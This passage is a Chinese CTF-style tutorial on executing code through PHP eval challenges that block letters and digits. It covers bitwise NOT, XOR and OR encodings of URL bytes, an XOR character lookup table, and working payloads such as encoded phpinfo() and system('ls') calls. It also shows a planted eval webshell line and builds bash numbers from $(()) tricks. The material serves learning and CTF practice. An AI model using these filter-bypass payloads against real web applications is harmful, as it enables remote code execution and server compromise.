0x08 取反以及异或、或
这两个东西呢相当的好玩,也能够达到一下小极限的操作
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
随便找了个例题,观察一下,限制了字符长度,以及无字母数字RCE
取反 ~
就是我们将php代码url编码后取反,我们传入参数后服务端进行url解码,
这时由于取反后,会url解码成不可打印字符,这样我们就会绕过
直接看实验
写了一个非常简单的exp
<?php
$a='phpinfo';
$b=urlencode($a);
$c=~$b;
if(preg_match("/[A-Za-z0-9]+/",$c)){
echo 0;
}else {
echo 1;
}
?>
然后我在进行下一步检验即输出$B
的时候发现我写错了
这样子才对,而且其中我们只能进行命令的拼接,并不能够直接写出一坨命令出来
<?php
$a='phpinfo';
$b=urlencode(~$a);
$c=~$b;
/*if(preg_match("/[A-Za-z0-9]+/",$c)){
echo 0;
}else {
echo 1;
}*/
echo $b;
?>
成功了,说明exp没问题了,但是有个问题就是我们写的命令不能是这类
system(‘ls’)
而只能写小🐎了,因为取反的问题
assert(eval($_POST[a]))
然后就行了,剩下的操作不讲了
异或 ^
同样是这个题
<?php
$a='A';
$b='1';
echo $a^$b;
?>
<?php
$a='A';
$b='1';
$c=$a^$b;
echo $c;
echo "\r";
echo ord($a);
echo "\r";
echo ord($b);
echo "\r";
echo ord($c);
?>
原理你拿过去跑一下就知道了
后面我打了一下发现很明显异或太长了
但是没关系我们可以构造phpinfo()
玩玩
将两个字符的ascii转化为二进制 进行异或取值 从而得到新的二进制 转化为新的字符
异或规则:
1 XOR 0 = 1
0 XOR 1 = 1
0 XOR 0 = 0
1 XOR 1 = 0
我们就是将两个url编码异或成为一个字符,那么就能够达到命令执行的目的了
<?php
for($i=128;$i<255;$i++){
echo sprintf("%s^%s",urlencode(chr($i)),urlencode(chr(255)))."=>". (chr($i)^chr(255))."\n";
}
?>
%81^%FF=>~ %82^%FF=>} %83^%FF=>|
%84^%FF=>{ %85^%FF=>z %86^%FF=>y
%87^%FF=>x %88^%FF=>w %89^%FF=>v
%8A^%FF=>u %8B^%FF=>t %8C^%FF=>s
%8D^%FF=>r %8E^%FF=>q %8F^%FF=>p
%90^%FF=>o %91^%FF=>n %92^%FF=>m
%93^%FF=>l %94^%FF=>k %95^%FF=>j
%96^%FF=>i %97^%FF=>h %98^%FF=>g
%99^%FF=>f %9A^%FF=>e %9B^%FF=>d
%9C^%FF=>c %9D^%FF=>b %9E^%FF=>a
%9F^%FF=>` %A0^%FF=>_ %A1^%FF=>^
%A2^%FF=>] %A3^%FF=>\ %A4^%FF=>[
%A5^%FF=>Z %A6^%FF=>Y %A7^%FF=>X
%A8^%FF=>W %A9^%FF=>V %AA^%FF=>U
%AB^%FF=>T %AC^%FF=>S %AD^%FF=>R
%AE^%FF=>Q %AF^%FF=>P %B0^%FF=>O
%B1^%FF=>N %B2^%FF=>M %B3^%FF=>L
%B4^%FF=>K %B5^%FF=>J %B6^%FF=>I
%B7^%FF=>H %B8^%FF=>G %B9^%FF=>F
%BA^%FF=>E %BB^%FF=>D %BC^%FF=>C
%BD^%FF=>B %BE^%FF=>A %BF^%FF=>@
%C0^%FF=>?
phpinfo
('%8f%97%8f%96%91%99%90'^'%FF%FF%FF%FF%FF%FF%FF')
?code=('%8f%97%8f%96%91%99%90'^'%FF%FF%FF%FF%FF%FF%FF')();
成功
或 |
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
这题我们使用或运算绕过
原理是利用url编码绕过
system
%73%79%73%74%65%6d
("%13%19%13%14%05%0d")|("%60%60%60%60%60%60%60")
我先弄的"ls"
双引号不能被正常识别改成单引号
'ls'
("%27%0c%13%27")|(%00%60%60%00)
system('ls')
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%27%0c%13%27"|"%00%60%60%00")
然后呢继续手动构造就行,我还不会写脚本
0x09 取反得到数字
这个是一个特性,我想单独拿出来说说
$(())为0
按位取反1变0,0变1
例子
~5值-6
所以我们叠加在括号其中即可
$((~$(())+~$(())+~$(())+~$(()))) 为-4
那么如何换回来呢,那么就是再来一层取反
$((~$((~$(())+~$(())+~$(())+~$(()))))) 为3
那么我们就学会了,我们如果需要数字为x,那么我们就需要(x+1)个 ~$(()) 相加然后再进行取反即可